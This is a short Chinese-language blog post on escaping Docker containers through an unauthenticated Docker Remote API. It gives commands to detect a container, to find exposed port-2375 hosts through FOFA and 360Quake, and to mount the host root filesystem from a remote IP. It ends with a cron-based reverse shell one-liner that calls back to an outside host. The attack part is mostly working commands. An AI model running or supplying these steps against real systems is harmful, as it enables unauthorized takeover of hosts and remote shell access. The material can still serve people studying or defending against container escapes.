Docker逃逸
0x00 前言
0x01 Docker逃逸原理
0x02 Docker 环境判断
1、是否存在.dockerenv文件
ls -alh /.dockerenv |
2、查询系统进程的cgroup\sched信息
cat /proc/1/cgroup |
还有一些常规的linux系统命令,比如ifconfig、vim等没有的话,大概率可能是虚拟环境,需配合其他信息判断是否为docker环境。
0x03 docker remote api未授权访问
Docker remote API 默认是不开启的
开启Docker Remote API
编辑:/lib/systemd/system/docker.service
文件:
注释内容
#ExecStart=/usr/bin/dockerd -H fd:// |
添加内容
ExecStart=/usr/sbin/dockerd -H fd:// -H tcp://0.0.0.0:2375 |
重启
sudo systemctl daemon-reload |
也可在fofa或360quake找docker开放的2375端口
http://localhost:2375/info |
如果能看见Warnings关键字,那么此网站是可进行漏洞利用的,如果显示了信息,但没有Warnings关键字,那么该漏洞无法进行利用(亲测)
当发现存在未授权访问漏洞后,可在命令行下访问该docker的信息
docker -H tcp://localhost:2375 images 查看docker中的images |
创建docker容器,和本机创建容器命令一致,-v是挂载卷
docker -H tcp://101.35.31.140:2375 run -it -v /:/mnt centos /bin/bash |
创建容器后,靶机会显示新建的docker容器
反弹shell命令
echo '* * * * * root /bin/bash -i >& /dev/tcp/192.168.239.7/8088 0>&1' >> /var/spool/cron/root1 |
可看见反弹回来的直接是kali系统的shell,而不是docker容器的shell。
实战:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Time'Blog!
评论